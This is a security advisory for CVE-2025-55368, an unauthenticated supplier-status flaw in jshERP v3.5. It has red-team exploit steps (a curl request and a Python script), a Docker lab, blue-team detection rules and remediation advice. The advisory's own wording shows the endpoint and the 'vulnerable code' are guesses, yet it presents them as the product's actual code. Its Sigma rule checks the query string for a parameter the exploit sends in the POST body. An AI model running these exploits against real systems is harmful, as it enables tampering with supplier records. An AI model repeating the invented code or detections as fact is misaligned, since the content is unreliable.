CVE-2025-55368

Executive Summary

CVE-2025-55368 is a critical access control vulnerability in jshERP v3.5, an open-source enterprise resource planning system. The flaw resides in the /controller/RoleController.java component, allowing an unauthenticated or low-privileged attacker to arbitrarily modify the supplier status of any account. This can lead to supply chain manipulation, financial fraud, or denial of service by disabling legitimate suppliers. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high risk due to the lack of authentication checks and the sensitive nature of supplier data. No official patch is available, and the vendor (Jsherp) has not released a fix.

Supply Chain & Package Security

jshERP is a Java-based application distributed as a WAR file or via source code. The vulnerability is in the core application logic, not in a package manager (NPM, PyPI, Go, Ruby). However, organizations using jshERP in their supply chain should treat this as a critical risk, as an attacker can manipulate supplier statuses, potentially injecting malicious suppliers or disabling legitimate ones.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (likely a placeholder), based on the vulnerability description, a realistic assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): None (N) – no data disclosure.
• Integrity (I): High (H) – can modify supplier status.
• Availability (A): Low (L) – can disable suppliers.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L Estimated Score: 7.5 (High)

Threat Level: High – due to ease of exploitation and potential business impact.

Deep Dive & Mechanics

The vulnerability is an Incorrect Access Control (CWE-284) in the RoleController.java file. The controller likely exposes an endpoint (e.g., /role/updateSupplierStatus) that modifies the status field of a supplier record. The flaw is that the endpoint does not verify if the requesting user has administrative privileges or even if they are authenticated. An attacker can send a crafted HTTP request to change any supplier's status (e.g., from "active" to "inactive" or vice versa).

Root Cause: Missing authorization checks in the controller method. The code likely uses a generic @RequestMapping without a security annotation like @PreAuthorize or manual role validation.

Attack Vector: An attacker sends a POST or GET request to the vulnerable endpoint with parameters such as supplierId and status. No session token or authentication is required.

Impact:

• Disable critical suppliers, causing supply chain disruption.
• Enable malicious suppliers, leading to fraud or data theft.
• Manipulate supplier records for financial gain.

Vulnerable vs. Patched Code

Vulnerable Code (jshERP v3.5):

// RoleController.java
@PostMapping("/updateSupplierStatus")
public Result updateSupplierStatus(Long supplierId, Integer status) {
    // No authentication or authorization check
    supplierService.updateStatus(supplierId, status);
    return Result.success();
}

Patched Code (Hypothetical):

// RoleController.java
@PostMapping("/updateSupplierStatus")
@PreAuthorize("hasRole('ADMIN')")
public Result updateSupplierStatus(@AuthenticationPrincipal User user, Long supplierId, Integer status) {
    if (user == null) {
        return Result.error("Unauthorized");
    }
    supplierService.updateStatus(supplierId, status);
    return Result.success();
}

The patched version adds role-based access control using Spring Security annotations and validates the authenticated user.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running jshERP v3.5 on a reachable network.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint: POST /role/updateSupplierStatus
2. Craft a request to disable a supplier:

   curl -X POST http://target:8080/role/updateSupplierStatus \
     -d "supplierId=1&status=0"
   

3. Verify the supplier is disabled by checking the supplier list.

Automated Exploit (Python):

import requests

target = "http://target:8080"
supplier_id = 1
new_status = 0  # 0 = inactive, 1 = active

url = f"{target}/role/updateSupplierStatus"
data = {"supplierId": supplier_id, "status": new_status}
response = requests.post(url, data=data)

if response.status_code == 200:
    print(f"Supplier {supplier_id} status changed to {new_status}")
else:
    print("Exploit failed")

Lab Setup:

• Use Docker to deploy jshERP v3.5:

  docker run -d -p 8080:8080 jsherp/jshERP:3.5
  

• Run the exploit script against the container.

Blue Team (Defense & Detection)

Detection:

• Monitor for requests to /role/updateSupplierStatus without a valid session token.
• Alert on multiple status changes to supplier records in a short time.
• Use WAF rules to block requests to this endpoint from unauthenticated sources.

Mitigation:

• Apply the hypothetical patch above.
• Implement network segmentation to restrict access to the ERP system.
• Enable logging and auditing of all supplier status changes.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /role/updateSupplierStatus with parameters supplierId and status.
  • Unusual patterns of supplier status changes (e.g., bulk changes).
• Logs:
  • Application logs showing updateSupplierStatus calls without a user context.
  • Database logs showing UPDATE supplier SET status = ... without a preceding authentication event.
• File:
  • Modified supplier records in the database.

Detection Engineering

YARA Rule

rule CVE_2025_55368_jshERP_AccessControl {
    meta:
        description = "Detects exploitation attempts of CVE-2025-55368 in jshERP"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-55368"
    strings:
        $s1 = "/role/updateSupplierStatus" ascii wide nocase
        $s2 = "supplierId=" ascii wide nocase
        $s3 = "status=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-55368 - jshERP Supplier Status Manipulation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests to the vulnerable jshERP endpoint
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/role/updateSupplierStatus'
        cs-uri-query|contains: 'supplierId='
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55368 jshERP Supplier Status Manipulation"; flow:to_server; content:"POST"; http_method; content:"/role/updateSupplierStatus"; http_uri; content:"supplierId="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible by removing or commenting out the updateSupplierStatus method in RoleController.java.
2. Apply a WAF rule to block requests to /role/updateSupplierStatus from unauthenticated sources.
3. Audit supplier records for unauthorized changes.

Long-term Fix:

• Upgrade to a patched version when available.
• Implement proper authentication and authorization using Spring Security.
• Conduct a security review of all controller endpoints.

Workaround:

• Restrict network access to the jshERP application to trusted IPs only.
• Use a reverse proxy (e.g., Nginx) to add authentication before the application.

Valters IT
Securing Digital Frontiers